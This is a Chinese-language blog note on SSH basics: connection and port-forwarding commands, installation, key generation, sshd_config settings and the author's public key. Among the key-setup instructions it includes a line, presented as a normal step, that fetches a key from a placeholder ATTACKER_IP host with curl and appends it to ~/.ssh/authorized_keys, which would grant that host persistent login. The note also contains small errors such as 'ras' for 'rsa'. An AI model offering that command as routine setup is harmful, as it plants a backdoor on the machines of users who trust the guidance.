Linux SSH 相关笔记

    
        标签：
        
            Linux 系统
        
    发布于：2021-05-21 13:00:49
    编辑于：2021-05-22 12:22:49
    浏览量：1409

基础命令

# 直接连接
ssh username@ip
# 使用非默认端口
ssh username@domain -p port
# 使用代理主机
ssh -J proxy-server:22 target-server 
# 将本地的 3333 端口转发到服务器的 2222 端口
ssh username@domain -R 2222:localhost:3333 
# 将服务器的 2222 端口转发到本地的 3333 端口 
ssh username@domain -L 3333:localhost:2222

安装

# Client:
sudo apt-get install ssh 
# Server:
sudo apt-get install openssh-server

生成密钥

ssh-keygen -t ras -C "email"
位置：
- 私钥：~/.ssh/id_rsa
- 公钥：~/.ssh/id_rsa.pub
Git 服务密钥配置地址：
- https://github.com/settings/keys
- https://gitee.com/profile/sshkeys
写入主机的 authorized_keys： curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys

我的公钥：

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj8b9SWuI/oKquMiy+vOSOOcokMF6XkUkc7TlX33bIy3xK5l8rgJ2CAJ+xORAA2JJzwXdu8AMDsFfk8DHMj7kcs/K505iMpiIGhUWHXkl+UiIhD+B/v9KIv4jQQF9wmJR/jaw8MdHyUXZA2maV6sY41swoRPyAtYb6HW/32pWsqsDq2DeQQyARqiPpV0pcFV3BXK0nOBl8+W9HjP8rYBFbXIfpXTvhSrzOz+NXoV8E8/w7/jD5YDPbMQ16FPQzk3CVT4pUL4x1nOqxFgvLbiwfPsAWF6a2Lr6A8ZcU5AUI2GC5+X6r47KlGUl0mtTOkarBkJ91+a//JFHmstrLrKyV JustSong@MyPC

https://api.github.com/users/songquanpeng/keys

可以使用 ssh-copy-id username@remote_host 很方便地为远超主机配置密钥访问。如果需要指定公钥，使用 -i 即可。如果需要指定端口，使用 -p 即可。

配置

sudo vi /etc/ssh/sshd_config 

## 允许root登录 
PermitRootLogin yes 
## 使用密钥登录 
RSAAuthentication yes 
PubkeyAuthentication yes 
## 禁止空密码和密码登录 
PermitEmptyPasswords no 
PasswordAuthentication no 
## 监听端口（一般默认是 22，或者是自己已开的端口，不改即可） 
Port 22

修改完配置之后重启以应用更改：sudo service ssh restart

Links: linux-ssh